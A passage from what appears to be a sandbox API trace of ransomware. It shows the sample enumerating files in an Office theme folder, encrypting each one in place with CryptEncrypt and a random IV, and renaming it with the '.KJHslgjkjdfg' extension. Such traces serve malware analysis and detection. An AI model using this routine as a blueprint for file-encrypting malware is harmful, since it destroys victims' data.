dwFlags=0x0, lpMem=0x2f6728 | out: hHeap=0x2a0000) returned 1 [0149.589] GetProcessHeap () returned 0x2a0000 [0149.589] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f6af0 | out: hHeap=0x2a0000) returned 1 [0149.589] GetProcessHeap () returned 0x2a0000 [0149.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0149.590] GetProcessHeap () returned 0x2a0000 [0149.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.590] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0149.590] GetProcessHeap () returned 0x2a0000 [0149.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0149.590] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY", cAlternateFileName="")) returned 1 [0149.590] GetProcessHeap () returned 0x2a0000 [0149.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x88) returned 0x2ed368 [0149.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0149.592] GetProcessHeap () returned 0x2a0000 [0149.592] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0149.592] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0149.592] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0149.592] GetProcessHeap () returned 0x2a0000 [0149.592] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28a) returned 0x2f32d0 [0149.592] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.593] GetProcessHeap () returned 0x2a0000 [0149.593] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.593] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.593] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.593] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0149.595] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.595] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.595] GetProcessHeap () returned 0x2a0000 [0149.595] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.595] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.595] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.595] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.595] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.595] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.595] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.595] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.595] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.596] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.596] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.596] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.596] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x3a9, lpOverlapped=0x0) returned 1 [0149.596] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x3b0) returned 1 [0149.596] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.596] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x3b0, lpOverlapped=0x0) returned 1 [0149.596] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.596] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.596] SetEndOfFile (hFile=0x118) returned 1 [0149.598] GetProcessHeap () returned 0x2a0000 [0149.598] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0149.599] GetProcessHeap () returned 0x2a0000 [0149.599] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.kjhslgjkjdfg")) returned 1 [0149.599] CloseHandle (hObject=0x118) returned 1 [0149.600] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0149.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.601] GetProcessHeap () returned 0x2a0000 [0149.601] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.601] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.601] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.601] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x3, lpOverlapped=0x0) returned 1 [0149.603] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.603] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.603] GetProcessHeap () returned 0x2a0000 [0149.603] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0149.603] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0149.603] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.603] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0149.603] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.604] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.604] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.604] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.604] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.604] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.604] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.604] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.604] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1413d, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1413d, lpOverlapped=0x0) returned 1 [0149.606] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x14140, dwBufLen=0x14140 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x14140) returned 1 [0149.606] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.606] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x14140, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x14140, lpOverlapped=0x0) returned 1 [0149.607] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.607] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x14204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.607] SetEndOfFile (hFile=0x118) returned 1 [0149.610] GetProcessHeap () returned 0x2a0000 [0149.610] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0149.610] GetProcessHeap () returned 0x2a0000 [0149.610] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.610] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.kjhslgjkjdfg")) returned 1 [0149.612] CloseHandle (hObject=0x118) returned 1 [0149.612] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0149.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.612] GetProcessHeap () returned 0x2a0000 [0149.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.613] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.613] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.613] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.614] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.614] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.614] GetProcessHeap () returned 0x2a0000 [0149.614] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0149.614] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290efd0*=0x30) returned 1 [0149.614] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.614] WriteFile (in: hFile=0x118, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290efe8*=0x30, lpOverlapped=0x0) returned 1 [0149.615] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.615] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.615] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.615] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.615] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.616] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.616] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.616] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.616] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x1bc, lpOverlapped=0x0) returned 1 [0149.616] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1c0) returned 1 [0149.616] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.616] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1c0, lpOverlapped=0x0) returned 1 [0149.616] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.616] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.616] SetEndOfFile (hFile=0x118) returned 1 [0149.619] GetProcessHeap () returned 0x2a0000 [0149.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0149.619] GetProcessHeap () returned 0x2a0000 [0149.619] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0149.619] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.kjhslgjkjdfg")) returned 1 [0149.732] CloseHandle (hObject=0x118) returned 1 [0149.733] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0149.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0149.733] GetProcessHeap () returned 0x2a0000 [0149.733] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0149.733] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0149.733] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0149.733] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x7, lpOverlapped=0x0) returned 1 [0149.736] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.736] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.736] GetProcessHeap () returned 0x2a0000 [0149.736] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0149.736] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0149.736] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0149.736] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0149.736] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0149.736] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0149.736] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0149.736] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0149.737] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0149.737] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0149.737] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0149.737] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.737] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7279, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x7279, lpOverlapped=0x0) returned 1 [0149.738] CryptEncrypt (in: 